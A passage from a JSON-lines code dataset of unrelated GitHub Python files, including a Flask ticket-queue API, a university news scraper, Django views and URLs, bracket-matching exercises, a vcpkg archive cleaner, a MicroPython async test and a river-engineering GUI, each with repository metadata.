01\",\n \"statusBusy\": False,\n \"type\": \"Prioridade\"\n },\n \"desk_2\": {\n \"nameDesk\": \"Mesa 02\",\n \"statusBusy\": False,\n \"type\": \"Convencional\"\n }\n },\n \"gerencia\": {\n \"desk_1\": {\n \"nameDesk\": \"Mesa 03\",\n \"statusBusy\": False,\n \"type\": \"Prioridade\"\n },\n \"desk_2\": {\n \"nameDesk\": \"Mesa 04\",\n \"statusBusy\": False,\n \"type\": \"Convencional\"\n }\n },\n \"guiche\": {\n\n \"desk_1\": {\n \"nameDesk\": \"Caixa 01\",\n \"statusBusy\": False,\n \"type\": \"Prioridade\"\n },\n \"desk_2\": {\n \"nameDesk\": \"Caixa 02\",\n \"statusBusy\": False,\n \"type\": \"Convencional\"\n }\n },\n}\n\nnumero_caixa = 0\nnumero_guiche = 0\nnumero_gerencia = 0\n\n\ndef numero_ticket(setor):\n global numero_caixa\n global numero_guiche\n global numero_gerencia\n\n if setor == 'Caixa':\n numero_caixa += 1\n return numero_caixa\n\n if setor == 'Guichê':\n numero_guiche += 1\n return numero_guiche\n\n if setor == 'Gerência':\n numero_gerencia += 1\n return numero_gerencia\n\n\ndef verificar_numero(setor):\n if setor == 'Caixa':\n return numero_caixa\n elif setor == 'Guichê':\n return numero_guiche\n else:\n return numero_gerencia\n\n\ndef zero_left(num):\n if num < 10:\n return '00' + str(num)\n elif num <= 100:\n return '0' + str(num)\n else:\n return str(num)\n\n\nclass Create:\n def __init__(self, setor, tipo, number):\n self.setor = setor\n self.tipo = tipo\n self.number = int(number)\n\n def ticket(self):\n if self.setor == 'Caixa':\n if self.tipo == 'Prioridade':\n return 'CXP' + zero_left(self.number)\n else:\n return 'CXC' + zero_left(self.number)\n if self.setor == 'Guichê':\n if self.tipo == 'Prioridade':\n return 'GHP' + zero_left(self.number)\n else:\n return 'GHC' + zero_left(self.number)\n if self.setor == 'Gerência':\n if self.tipo == 'Prioridade':\n return 'GEP' + zero_left(self.number)\n else:\n return 'GEC' + zero_left(self.number)\n\n\ndef insert_desk(desk_to_attend, client_id):\n for key in queue:\n if key['id'] == client_id:\n key['mesa'] = desk_to_attend['desk_name']\n\n\n@app.route('/', methods=['GET'])\ndef home():\n return \"

    Distant Reading Archive

    This site is a prototype API for distant reading of science fiction novels.

    \"\n\n\n@app.route('/desks', methods=['GET', 'POST'])\ndef desks():\n if request.method == 'GET':\n return jsonify(service_desk)\n\n if request.method == 'POST':\n desk_to_attend = request.get_json()\n insert_desk(desk_to_attend, desk_to_attend['client'])\n return jsonify(desk_to_attend)\n\n\ndef delete_client_ticket(client_id):\n for key in queue:\n if key['id'] == client_id:\n queue.remove(key)\n print('[achou:]', key)\n\n\n@app.route('/service', methods=['GET', 'POST', 'DELETE'])\ndef service():\n if request.method == 'DELETE':\n client_id = request.get_json()\n delete_client_ticket(client_id)\n return jsonify(client_id)\n\n if request.method == 'GET':\n return jsonify(list(reversed(queue)))\n\n if request.method == 'POST':\n data = request.get_json()\n\n # Adicionando número de ticket de acordo com o setor\n data['number'] = str(numero_ticket(data['setor']))\n\n # Declarando o atributo na classe\n client = Create(data['setor'], data['tipo'], verificar_numero(data['setor']))\n\n # Gerando a senha\n data['senha'] = client.ticket()\n\n queue.insert(0, data)\n\n return jsonify(queue)\n\n\napp.run()\n","repo_name":"AleNoia/gerenciamento-de-filas","sub_path":"API/pythonProject2/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"27301771109","text":"from bs4 import BeautifulSoup\nimport requests\n\n\ndef spider():\n url = 'http://www.whu.edu.cn/'\n html = requests.get(url).content\n html = BeautifulSoup(html, 'lxml')\n\n # 创建CSS选择器,获取 珞珈新闻 标题\n ul = html.select('div[class=\"panel\"] div ul[class=\"list-unstyled list\"]')[0]\n li = ul.select('li a')\n print('珞珈新闻标题如下:')\n for a in li:\n print(a['title'])\n\n # 创建CSS选择器,获取 学术动态 标题\n ul = html.select('div[class=\"panel\"] div ul[class=\"list-unstyled list\"]')[1]\n li = ul.select('li a')\n print('学术动态标题如下:')\n for a in li:\n print(a['title'])\n\n # 创建CSS选择器,获取 通知公告 标题\n ul = html.select('div[class=\"panel\"] div ul[class=\"list-unstyled list\"]')[2]\n li = ul.select('li a')\n print('通知公告标题如下:')\n for a in li:\n print(a['title'])\n\nif __name__ == \"__main__\":\n spider()","repo_name":"zehuizhou/spider","sub_path":"bs4例子/whu_spider.py","file_name":"whu_spider.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38406327826","text":"from django.urls import path,include \nfrom . import views\n\napp_name='student'\n\nurlpatterns = [\n path('', views.register,name='register'),\n path('display', views.display,name='display'),\n path('update/', views.update,name='update'),\n path('delete/', views.delete,name='delete'),\n]\n\n\n","repo_name":"jicsoon/demoproject","sub_path":"student/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13169855929","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\nFile Name: 括号匹配\nDescription : \nAuthor : wellqin\ndate: 2020/3/24\nChange Activity: 2020/3/24\n\n1. 给定一个只包括 '(',')'的字符串,判断字符串是否有效。\n 思路:遇到 \"(\" 就让它入栈,遇到 \")\" 就判断下栈里面有没有 \"(\"\n (1)如果有,则把处于栈顶的 \"(\" 弹出,相当于和 \")\" 进行匹配,然后继续往后遍历字符串\n (2)如果没有,则匹配失败。相当于字符串的最前面出现了 \")\",显然这是不合理的。\n\n2. LT20:给定一个只包括 '(',')','{','}','[',']' 的字符串,判断字符串是否有效\n-------------------------------------------------\n\"\"\"\n\nclass Solution:\n def isValid(self, s):\n # 时间,空间复杂度是 O(n)\n if not s:\n return True\n stack = []\n for i in s:\n if i == \"(\":\n stack.append(i)\n else:\n if not stack:\n return False\n else:\n stack.pop()\n return stack == []\n\n def isValid1(self, s):\n # 时间O(n),空间O(1)\n # 由于我们栈里面存放的都是**同一种字符 **\"(\" ,其实我们可以用一个变量来取代栈的,\n # 这个变量就记录 \"(\" 的个数,遇到 \"(\" 变量就加 1,遇到 \")\" 变量就减 1,栈为空就相当于变量的值为 0。\n if not s:\n return True\n total = 0\n for i in s:\n if i == \"(\":\n total += 1\n else:\n if total == 0:\n return False\n else:\n total -= 1\n return total == 0\n\n # --------------------------------------------------------------------------------\n # 2. LT20:给定一个只包括 '(',')','{','}','[',']' 的字符串,判断字符串是否有效\n # --------------------------------------------------------------------------------\n def isValidMu(self, s):\n # 1. 取巧方法,直接消除有效的括号直到为空,不为空则存在无效\n while '[]' in s or '()' in s or '{}' in s:\n s = s.replace('[]', '').replace('()', '').replace('{}', '')\n return len(s) == 0\n\n def isValidMu1(self, s):\n leftP = '([{'\n rightP = ')]}'\n stack = []\n for char in s:\n if char in leftP:\n stack.append(char)\n if char in rightP:\n if not stack:\n return False\n tmp = stack.pop()\n # 与栈中元素进行匹配,匹配不上则为False\n if char == ')' and tmp != '(':\n return False\n if char == ']' and tmp != '[':\n return False\n if char == '}' and tmp != '{':\n return False\n return stack == []\n\n def isValidSelfMu2(self, s):\n lookup = {\")\": \"(\", \"]\": \"[\", \"}\": \"{\"}\n stack = [] # 栈里面只保存待匹配的左括号\n for i in s:\n if stack and i in lookup: # 如果栈不为空 同时 当前的为右括号\n if stack[-1] == lookup[i]: # 如果栈中存在与右括号匹配的左括号\n stack.pop() # 则匹配到最小括号对,栈中进行删除\n else:\n stack.append(i)\n return not stack\n\ns = \"(()))\"\nprint(Solution().isValid1(s))","repo_name":"wellqin/USTC","sub_path":"DataStructure/栈/括号匹配.py","file_name":"括号匹配.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39534901102","text":"import os\nimport sys\nimport zipfile\n\nfrom pathlib import Path\n\ndef get_vcpkg_archives_list(vcpkg_path):\n for path, _, files in os.walk(vcpkg_path):\n for file in files:\n if file.endswith(\".zip\"):\n file_path = os.path.join(path, file)\n yield file_path\n\ndef read_control(control):\n package = ''\n version = '0'\n port_version = '0'\n architecture = ''\n lines = control.split('\\n')\n for line in lines:\n if (line != ''):\n pair = line.split(': ')\n if (pair[0] == 'Package'):\n package = pair[1]\n elif (pair[0] == 'Version'):\n version = pair[1]\n elif (pair[0] == 'Port-Version'):\n port_version = pair[1]\n elif (pair[0] == 'Architecture'):\n architecture = pair[1]\n return package, version + '-' + port_version, architecture\n\ndef get_packages(archives):\n packages = {}\n for archive in archives:\n zip_file = zipfile.ZipFile(archive, 'r')\n control = zip_file.read('CONTROL')\n package, version, architecture = read_control(control.decode('utf-8'))\n if (architecture not in packages.keys()):\n packages[architecture] = {}\n if (package not in packages[architecture].keys()):\n packages[architecture][package] = {}\n if (version not in packages[architecture][package].keys()):\n packages[architecture][package][version] = []\n if (archive not in packages[architecture][package][version]):\n packages[architecture][package][version].append(archive)\n return packages\n\ndef print_packages(packages):\n for architecture in packages:\n print(architecture)\n for package in packages[architecture]:\n print('\\t', package)\n for version in packages[architecture][package]:\n print('\\t\\t', version)\n for archive in packages[architecture][package][version]:\n print('\\t\\t\\t', archive)\n\ndef mark_outdated_packages(packages):\n outdated = []\n for architecture in packages:\n for package in packages[architecture]:\n archives_with_same_version = {}\n max_version = sorted(packages[architecture][package].keys(), reverse=True)[0]\n for version in packages[architecture][package]:\n if (version != max_version):\n for archive in packages[architecture][package][version]:\n outdated.append(archive)\n else:\n if (len(packages[architecture][package][version]) == 1):\n continue\n for archive in packages[architecture][package][version]:\n archives_with_same_version[os.path.getmtime(archive)] = archive\n max_date = sorted(archives_with_same_version.keys(), reverse=True)[0]\n for archive in packages[architecture][package][version]:\n if (archive != archives_with_same_version[max_date]):\n outdated.append(archive)\n return outdated\n\ndef get_hash_from_name(name):\n return Path(name).stem\n\ndef get_hash_list(packages):\n hash_list = []\n for architecture in packages:\n for package in packages[architecture]:\n for version in packages[architecture][package]:\n for archive in packages[architecture][package][version]:\n hash_list.append(get_hash_from_name(os.path.basename(archive)))\n return hash_list\n\ndef remove_outdated_from_hash_list(hash_list, outdated):\n for package in outdated:\n package_hash = get_hash_from_name(os.path.basename(package))\n if (package_hash in hash_list):\n hash_list.remove(package_hash)\n\ndef read_vcpkg_abi_info_content(content, packages):\n dependencies = []\n lines = content.split('\\n')\n for line in lines:\n if line:\n pair = line.split(' ')\n if (pair[0] in packages):\n dependencies.append(pair[1])\n return dependencies\n\ndef read_vcpkg_abi_info(archive, package, packages):\n zip_file = zipfile.ZipFile(archive, 'r')\n if (package == 'gtest'):\n package = 'GTest'\n file_name = 'share/'+package+'/vcpkg_abi_info.txt'\n try:\n info_file = zip_file.read(file_name)\n return read_vcpkg_abi_info_content(info_file.decode('utf-8'), packages)\n except Exception as ex:\n print('Failed to read the file', file_name, 'from', archive, ':', ex)\n return ''\n\ndef mark_duplicate_packages(packages, outdated):\n hash_list = get_hash_list(packages)\n remove_outdated_from_hash_list(hash_list, outdated)\n\n for architecture in packages:\n dependencies_list = {}\n for package in packages[architecture]:\n for version in packages[architecture][package]:\n for archive in packages[architecture][package][version]:\n dependencies = read_vcpkg_abi_info(archive, package, packages[architecture].keys())\n if (len(dependencies) != 0):\n dependencies_list[get_hash_from_name(os.path.basename(archive))] = dependencies\n process_dependencies_list(dependencies_list, packages, outdated, hash_list, architecture)\n\ndef add_package_to_outdated_by_hash(packages, outdated, package_hash, architecture):\n for package in packages[architecture]:\n for version in packages[architecture][package]:\n for archive in packages[architecture][package][version]:\n if (get_hash_from_name(os.path.basename(archive)) == package_hash and archive not in outdated):\n outdated.append(archive)\n return\n\ndef process_package_dependencies(package_hash, dependencies, packages, outdated, hash_list, architecture):\n is_valid = True\n if (package_hash not in hash_list):\n add_package_to_outdated_by_hash(packages, outdated, package_hash, architecture)\n is_valid = False\n if (package_hash not in dependencies):\n return is_valid\n package_dependencies = dependencies[package_hash]\n for dependency_hash in package_dependencies:\n is_valid = is_valid and process_package_dependencies(dependency_hash, dependencies, packages, outdated, hash_list, architecture)\n if (not is_valid):\n add_package_to_outdated_by_hash(packages, outdated, package_hash, architecture)\n if (package_hash in hash_list):\n hash_list.remove(package_hash)\n return False\n return is_valid\n\ndef process_dependencies_list(dependencies, packages, outdated, hash_list, architecture):\n for package_hash in dependencies:\n process_package_dependencies(package_hash, dependencies, packages, outdated, hash_list, architecture)\n\ndef print_outdated(outdated, packages):\n for architecture in packages:\n for package in packages[architecture]:\n for version in packages[architecture][package]:\n for archive in packages[architecture][package][version]:\n if (archive in outdated):\n print(architecture, package, version, archive, sep=' -> ')\n\ndef remove_outdated(outdated):\n for archive in outdated:\n os.remove(archive)\n\ndef help():\n print('Usage: python CleanVcpkgArchive.py ')\n\nif(len(sys.argv) != 2):\n help()\n exit(1)\n\nvcpkg_path = sys.argv[1]\n\nvcpkg_archives_list = get_vcpkg_archives_list(vcpkg_path)\nvcpkg_packages = get_packages(vcpkg_archives_list)\nprint_packages(vcpkg_packages)\noutdated = mark_outdated_packages(vcpkg_packages)\nmark_duplicate_packages(vcpkg_packages, outdated)\nprint('Outdated packages:')\nprint_outdated(outdated, vcpkg_packages)\nremove_outdated(outdated)\n","repo_name":"AenBleidd/Scripts","sub_path":"CleanVcpkgArchive.py","file_name":"CleanVcpkgArchive.py","file_ext":"py","file_size_in_byte":7774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"24397687282","text":"\"\"\"View module for handling requests about categories\"\"\"\nfrom django.http import HttpResponseServerError\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import serializers, status\nfrom talktherapyapi.models import Category, Appointment, User, Therapist\n\nclass AppointmentView(ViewSet):\n \"\"\"Closet Share appointment view\"\"\"\n\n def retrieve(self, request, pk):\n \n try:\n appointment = Appointment.objects.get(pk=pk)\n serializer = AppointmentSerializer(appointment)\n return Response(serializer.data, status=status.HTTP_200_OK)\n except Appointment.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n\n\n def list(self, request):\n \"\"\"Handle GET requests to get all Appointment\n\n Returns:\n Response -- JSON serialized list of appointment\n \"\"\"\n appointment = Appointment.objects.all()\n serializer = AppointmentSerializer(appointment, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n \n def create(self, request):\n \"\"\"Handle POST requests to create a new Appointment\n Returns:\n Response -- JSON serialized Appointment\n \"\"\"\n print(\"Received request data:\", request.data)\n\n category_id = request.data[\"category_id\"]\n therapist_id = request.data[\"therapist_id\"]\n user_id = request.data[\"user\"]\n\n print(\"category_id:\", category_id)\n print(\"therapist_id:\", therapist_id)\n print(\"user_id:\", user_id)\n\n try:\n category = Category.objects.get(id=category_id)\n therapist = Therapist.objects.get(id=therapist_id)\n user = User.objects.get(id=user_id)\n\n appointment = Appointment.objects.create(\n user=user,\n therapist_id=therapist,\n category_id=category,\n service=request.data[\"service\"],\n day=request.data[\"day\"],\n time=request.data[\"time\"],\n time_ordered=request.data[\"time_ordered\"],\n )\n serializer = AppointmentSerializer(appointment)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n except Category.DoesNotExist as category_error:\n return Response({'message': f\"Category not found: {category_error}\"}, status=status.HTTP_400_BAD_REQUEST)\n except Therapist.DoesNotExist as therapist_error:\n return Response({'message': f\"Therapist not found: {therapist_error}\"}, status=status.HTTP_400_BAD_REQUEST)\n except User.DoesNotExist as user_error:\n return Response({'message': f\"User not found: {user_error}\"}, status=status.HTTP_400_BAD_REQUEST)\n except Exception as ex:\n return Response({'message': str(ex)}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n # def create(self, request):\n # \"\"\"Handle GET requests for single Appointment\n # Returns:\n # Response -- JSON serialized Appointment\n # \"\"\"\n\n # category = Category.objects.get(pk=request.data[\"category_id\"])\n # therapist = Therapist.objects.get(pk=request.data[\"therapist_id\"])\n # patient = User.objects.get(pk=request.data[\"user\"])\n\n\n # appointment = Appointment.objects.create(\n # user=patient,\n # therapist_id=therapist,\n # category_id=category,\n # service=request.data[\"service\"],\n # day=request.data[\"day\"],\n # time=request.data[\"time\"],\n # time_ordered=request.data[\"time_ordered\"],\n # )\n # serializer = AppointmentSerializer(appointment)\n # return Response(serializer.data, status=status.HTTP_201_CREATED)\n \n def update(self, request, pk):\n \"\"\"Handle PUT requests for an appointment\n\n Returns:\n Response -- Empty body with 204 status code\n \"\"\"\n \n appointment = Appointment.objects.get(pk=pk)\n category_id = Category.objects.get(pk=request.data[\"category_id\"])\n appointment.category_id = category_id\n therapist_id = Therapist.objects.get(pk=request.data[\"therapist_id\"])\n appointment.therapist_id = therapist_id\n user = User.objects.get(pk=request.data[\"user\"])\n appointment.user = user\n appointment.service = request.data[\"service\"]\n appointment.day = request.data[\"day\"]\n appointment.time = request.data[\"time\"]\n appointment.time_ordered = request.data[\"time_ordered\"]\n \n appointment.save()\n \n serializer = AppointmentSerializer(appointment)\n return Response(serializer.data, status=status.HTTP_200_OK)\n \n def destroy(self, request, pk):\n \n appointment = Appointment.objects.get(pk=pk)\n appointment.delete()\n \n return Response(None, status=status.HTTP_204_NO_CONTENT)\n \n\nclass AppointmentSerializer(serializers.ModelSerializer):\n \"\"\"JSON serializer for categories\n \"\"\"\n class Meta:\n model = Appointment\n fields = ('id', 'user', 'therapist_id', 'category_id', 'service', 'day', 'time', 'time_ordered')\n","repo_name":"jakehardin/talktherapy","sub_path":"talktherapyapi/views/appointment.py","file_name":"appointment.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24744484948","text":"import pandas as pd\n\nG_labels = ['无', '0-2000', '2000-3999', '4000-5999', '6000-7999', '8000-9999', '1万以上']\nAA_labels = ['包含3项', '包含其中的一或两项', '完全不包含']\n\n\ndef G_preprocess(inputs):\n try:\n if '万' in inputs:\n try:\n tmp_ = int(int(inputs.split(\"-\")[1].replace(\"元/年\", \"\").replace(\"万\", \"0000\")) / 12)\n except:\n tmp_ = int(20000 / 12)\n elif '元/年' in inputs:\n tmp_ = int(int(inputs.split(\"-\")[1].replace(\"元/年\", \"\")) / 12)\n else:\n try:\n tmp_ = int(inputs.split(\"-\")[1].replace(\"元/月\", \"\").replace(\"以下元/月\", \"\"))\n except:\n tmp_ = '无'\n return tmp_\n except:\n return '无'\n\n\ndef label_G(inputs):\n if isinstance(inputs, int):\n if 0 <= inputs <= 2000:\n return G_labels[1]\n if 2000 <= inputs <= 3999:\n return G_labels[2]\n elif 4000 <= inputs <= 5999:\n return G_labels[3]\n elif 6000 <= inputs <= 7999:\n return G_labels[4]\n elif 8000 <= inputs <= 9999:\n return G_labels[5]\n elif inputs >= 10000:\n return G_labels[6]\n else:\n return inputs\n else:\n return G_labels[0]\n\n\n\"\"\"\n技能/语言\n思就是说包含Photoshop、Corel DRAW,AI这三个技能的分成一类,包含其中的一或两项的分成一类,完全不包含的分成一类\n\"\"\"\n\n\ndef label_AA(inputs):\n if inputs == 'PS,AI.DW,(精通)' or inputs == 'Photoshop/CDR(良好)':\n return AA_labels[1]\n if inputs == '英语(熟练) Word/Excel/ PPT/Photoshop(熟练) bootstrap(良好) Jquery(熟练) HTML/CSS/JavaScript(精通)':\n return AA_labels[1]\n\n tmp_ = []\n\n for item in str(inputs).lower().split(' '):\n for item2 in item.split(\"、\"):\n item3 = item2.replace(\"熟练\", \"\").replace(\"一般\", \"\").replace(\"良好\", \"\").replace(\")\", \"\").replace(\"(\", \"\")\n tmp_.append(item3.replace(\"精通\", \"\").replace(\" adobe photoshop\", 'photoshop'))\n\n print(tmp_)\n\n label1 = ['Photoshop', 'Corel DRAW', 'AI']\n num = 0\n for i in label1:\n for j in tmp_:\n if i.lower() == j:\n num += 1\n\n if num == 3:\n return AA_labels[0]\n elif num == 2 or num == 1:\n return AA_labels[1]\n else:\n return AA_labels[2]\n\n\ndata = pd.read_excel(\"data1.xlsx\")\nprint(\"开始打标签...\")\ndata['G_preprocess'] = data['期望薪资'].apply(G_preprocess)\ndata['G_label'] = data['G_preprocess'].apply(label_G)\ndata['AA_label'] = data['技能/语言'].apply(label_AA)\ndel data['G_preprocess']\ndata.to_excel(\"results.xlsx\", index=None)\nprint('保存成功!')\n","repo_name":"Alvin2580du/alvin_py","sub_path":"business/p201909/150/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"4270389227","text":"try:\r\n import os, sys\r\n import tkinter as tk\r\n from tkinter.messagebox import askokcancel, showinfo\r\n from tkinter.filedialog import *\r\n import webbrowser\r\n import cVolumeAssessment as cMT\r\nexcept:\r\n print(\"ExceptionERROR: Missing fundamental packages (required: os, sys, tkinter, webbrowser).\")\r\n\r\ntry:\r\n sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) + \"\\\\\")\r\n import child_gui as sg\r\n sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) + \"\\\\.site_packages\\\\riverpy\\\\\")\r\n import config\r\n import fGlobal as fGl\r\n import cReachManager as cRM\r\n import cDefinitions as cDef\r\n import cMapper as cMp\r\nexcept:\r\n print(\"ExceptionERROR: Cannot find package files (/.site_packages/riverpy/*.py).\")\r\n\r\n\r\nclass MainGui(sg.RaModuleGui):\r\n def __init__(self, from_master):\r\n sg.RaModuleGui.__init__(self, from_master)\r\n self.ww = 580 # window width\r\n self.wh = 650 # window height\r\n self.title = \"Volume Assessment\"\r\n self.set_geometry(self.ww, self.wh, self.title)\r\n\r\n self.dir_ras_vol = \"\"\r\n\r\n self.org_dem_dir = config.dir2conditions\r\n self.mod_dem_dir = config.dir2conditions\r\n self.raster4mapping = []\r\n self.template_dir = config.dir2va + \".templates\\\\\"\r\n self.vol_name = \"\"\r\n\r\n # GUI OBJECT VARIABLES\r\n self.gui_condition = tk.StringVar()\r\n self.gui_interpreter = tk.StringVar()\r\n self.mapping = tk.BooleanVar()\r\n\r\n # LABELS\r\n self.l_reach_label = tk.Label(self, fg=\"dark slate gray\", text=\"Reaches:\")\r\n self.l_reach_label.grid(sticky=tk.W, row=0, column=0, columnspan=1, padx=self.xd, pady=self.yd * 2)\r\n self.l_reaches = tk.Label(self, fg=\"red\", text=\"Select from Reaches menu\")\r\n self.l_reaches.grid(sticky=tk.W, row=0, column=1, columnspan=5, padx=self.xd, pady=self.yd * 2)\r\n\r\n self.l_org_dem = tk.Label(self, text=\"Original DEM Raster:\")\r\n self.l_org_dem.grid(sticky=tk.W, row=4, column=0, columnspan=2, padx=self.xd, pady=self.yd)\r\n self.l_dir2orgdem = tk.Label(self, fg=\"dark slate gray\", text=\"None\")\r\n self.l_dir2orgdem.grid(sticky=tk.W, row=5, column=0, columnspan=5, padx=self.xd, pady=self.yd)\r\n self.l_mod_dem = tk.Label(self, text=\"Modified DEM Raster:\")\r\n self.l_mod_dem.grid(sticky=tk.W, row=13, column=0, columnspan=5, padx=self.xd, pady=self.yd)\r\n self.l_dir2modem = tk.Label(self, fg=\"dark slate gray\", text=\"None\")\r\n self.l_dir2modem.grid(sticky=tk.W, row=14, column=0, columnspan=5, padx=self.xd, pady=self.yd)\r\n\r\n # BUTTONS\r\n self.b_chg_org_dem = tk.Button(self, width=25, bg=\"white\", text=\"Select original DEM Raster\",\r\n command=lambda: self.select_org_dem())\r\n self.b_chg_org_dem.grid(sticky=tk.EW, row=3, column=0, columnspan=5, padx=self.xd, pady=self.yd)\r\n self.b_chg_mod_dem = tk.Button(self, width=25, text=\"Select modified DEM Raster\",\r\n command=lambda: self.select_mod_dem())\r\n self.b_chg_mod_dem.grid(sticky=tk.EW, row=12, column=0, columnspan=5, padx=self.xd, pady=self.yd)\r\n\r\n self.complete_menus()\r\n\r\n # CHECK BOXES\r\n self.cb_mapping = tk.Checkbutton(self, fg=\"dark slate gray\",\r\n text=\"Automatically run mapping after DEM / volume calculation.\",\r\n variable=self.mapping, onvalue=True, offvalue=False)\r\n self.cb_mapping.grid(sticky=tk.W, row=15, column=0, columnspan=5, padx=self.xd, pady=self.yd*2)\r\n self.cb_mapping.deselect() # select by default\r\n\r\n def complete_menus(self):\r\n # REACH DROP DOWN\r\n self.reach_lookup_needed = False\r\n self.reachmenu = tk.Menu(self.mbar, tearoff=0) # create new menu\r\n self.mbar.add_cascade(label=\"Reaches\", menu=self.reachmenu) # attach it to the menubar\r\n self.reachmenu = self.make_reach_menu(self.reachmenu)\r\n\r\n # RUN DROP DOWN\r\n self.runmenu = tk.Menu(self.mbar, tearoff=0) # create new menu\r\n self.mbar.add_cascade(label=\"Run\", menu=self.runmenu) # attach it to the menubar\r\n self.runmenu.add_command(label=\"Run: Volume Calculator\", command=lambda: self.run_volume_calculator())\r\n self.runmenu.add_command(label=\"Run: Map Maker\", command=lambda: showinfo(\"INFO\", \"Run volume calculator first.\"))\r\n\r\n def select_mod_dem(self):\r\n self.mod_dem_dir = askopenfilename(initialdir=self.mod_dem_dir.split(\".\")[0],\r\n title=\"Select modified DEM tif\",\r\n filetypes=[(\"GeoTIFF\", \"*.tif\")])\r\n if str(self.l_dir2modem).__len__() > 1:\r\n self.l_dir2modem.config(fg=\"forest green\", text=str(self.mod_dem_dir))\r\n else:\r\n self.l_dir2modem.config(fg=\"red\", text=\"Invalid directory\")\r\n\r\n def select_org_dem(self):\r\n self.org_dem_dir = askopenfilename(initialdir=self.org_dem_dir.split(\".\")[0],\r\n title=\"Select original DEM tif\",\r\n filetypes=[(\"GeoTIFF\", \"*.tif\")])\r\n if str(self.org_dem_dir).__len__() > 1:\r\n self.l_dir2orgdem.config(fg=\"forest green\", text=str(self.org_dem_dir))\r\n else:\r\n self.l_dir2orgdem.config(fg=\"red\", text=\"Invalid directory\")\r\n\r\n def run_map_maker(self):\r\n mapper = cMp.Mapper(self.vol_name, \"mt\", self.dir_ras_vol)\r\n for ras in self.raster4mapping:\r\n mapper.prepare_layout(True, map_items=[ras])\r\n\r\n self.master.bell()\r\n tk.Button(self, width=25, bg=\"pale green\", text=\"Mapping finished. Click to quit.\",\r\n command=lambda: self.quit_tab()).grid(sticky=tk.EW, row=12, column=0, columnspan=5,\r\n padx=self.xd, pady=self.yd)\r\n try:\r\n if not mapper.error:\r\n fGl.open_folder(mapper.output_dir)\r\n except:\r\n pass\r\n\r\n def run_volume_calculator(self):\r\n showinfo(\"INFORMATION\",\r\n \" Analysis may take a while.\\nPython windows seem unresponsive in the meanwhile.\\nCheck console messages.\\n \\n PRESS OK TO START\")\r\n vola = cMT.VolumeAssessment(unit_system=self.unit, org_ras_dir=self.org_dem_dir,\r\n mod_ras_dir=self.mod_dem_dir, reach_ids=self.reach_ids_applied)\r\n self.vol_name, self.dir_ras_vol = vola.get_volumes()\r\n self.raster4mapping = vola.rasters\r\n try:\r\n fGl.rm_dir(vola.cache)\r\n except:\r\n showinfo(\"WARNING\", \"Could not remove %s.\\nManual deletion required\")\r\n\r\n self.runmenu.entryconfig(1, command=lambda: self.run_map_maker())\r\n if self.mapping.get():\r\n self.run_map_maker()\r\n self.master.bell()\r\n\r\n def __call__(self):\r\n self.mainloop()\r\n","repo_name":"RiverArchitect/program","sub_path":"VolumeAssessment/volume_gui.py","file_name":"volume_gui.py","file_ext":"py","file_size_in_byte":7013,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"5479993369","text":"# test waiting within async with enter/exit functions\n\n# uPy allows normal generators to be awaitables.\n# CircuitPython does not.\n# In CircuitPython you need to have an __await__ method on an awaitable like in CPython;\n# and like in CPython, generators do not have __await__.\n\nclass Awaitable:\n def __init__(self, x):\n self.x = x\n\n def __await__(self):\n print('f start:', self.x)\n yield self.x + 1\n yield self.x + 2\n return self.x + 3\n\nclass AContext:\n async def __aenter__(self):\n print('enter')\n print('f returned:', await Awaitable(10))\n async def __aexit__(self, exc_type, exc, tb):\n print('exit', exc_type, exc)\n print('f returned:', await Awaitable(20))\n\nasync def coro():\n async with AContext():\n print('body start')\n print('body f returned:', await Awaitable(30))\n print('body end')\n\no = coro()\ntry:\n while True:\n print('coro yielded:', o.send(None))\nexcept StopIteration:\n print('finished')\n","repo_name":"KMKfw/kmkpython","sub_path":"tests/basics/async_with2.py","file_name":"async_with2.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"2897235687","text":"from Bio import Phylo\nimport os,sys,glob,re\nimport copy\n\nDIR = sys.argv[1]\nif DIR[-1] != \"/\": DIR += \"/\"\n\nt_list = ['t2','t3','t5','t6','t8','t9','t11','t12','t14','t15','t17','t18','t20','t21','t23','t24']\n\nfor t in os.listdir(DIR):\n\tif t.endswith('nex.con.tre.new'):\n\t\tname = t.split('.')[0]\n\t\ttree = Phylo.read(DIR+t, \"newick\")\n\t\tnewtree = copy.deepcopy(tree)\n\t\tfor p in t_list:\n\t\t\tnewtree.prune(p)\n\t\tPhylo.write(newtree, DIR+name+\".concat.trimmed.tre\", \"newick\")\t","repo_name":"TheDBStern/recombination_simulations_phylo","sub_path":"prune_tree.py","file_name":"prune_tree.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16855381886","text":"import argparse\nimport datetime\nimport gym\nimport math\nimport mxnet\nimport random\n\nfrom sac import 